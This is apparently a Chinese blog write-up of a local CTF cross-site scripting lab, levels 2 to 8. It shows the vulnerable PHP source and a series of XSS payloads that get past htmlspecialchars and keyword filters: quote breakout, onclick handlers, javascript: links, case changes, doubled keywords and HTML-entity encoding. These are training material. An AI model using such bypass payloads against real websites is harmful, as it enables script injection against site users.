CTF-XSS

环境源码

链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA 
提取码:6elk

使用phpstudy运行

level2

 先写随便写一些字符

<input name="keyword" value="1">

发现字符出现在了双引号中

 

输入1">发现">逃逸出双引号了

输入1"><script>alert(1)</script><"

<input name="keyword" value="1"><script>alert(1)</script><"">

输入在HTML里是这样的

这样<script>alert(1)</script>就逃逸出""和<>了

level3

 到第三关,第二关的语句就失效了

看看后端代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体

htmlspecialchars(string,flags,character-set,double_encode)

在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号

在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick

1'οnclick='alert(1)

level4

 

 第四关对<script>标签有过滤,使用onclick就行

1'οnclick='alert(1)

level5

输入1'οnclick='alert(1)

<input name="keyword" value="1'o_nclick='alert(1)">

 输入1"><script>alert(1)</script><"

<scr_ipt>alert(1)&lt;""&gt;
<input type="submit" name="submit" value="搜索">

</scr_ipt>

分别对on和script有过滤

可以使用a标签和JavaScript伪协议

a"><a href="javascript:alert(1)">aaaaa</a>

level6

 查看前端代码

<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>

发现href被过滤了

查看源代码

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

发现过滤了很多标签,但没过滤大小写

1"ONCLICK="alert(1)

level7

输入a"><a href="javascript:alert(1)">aaaaa</a>

<a ="java:alert(1)"="">aaaaa</a>

发现script直接没了

1"ONCLICK="alert(1)也不行

试试双写

1"OONNCLICK="alert(1)

成功了

level8

这是一个友情链接,要在其中输入javascript:alert(1)

但script被过滤了,双写,大小写都不行

可以使用urlencode编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值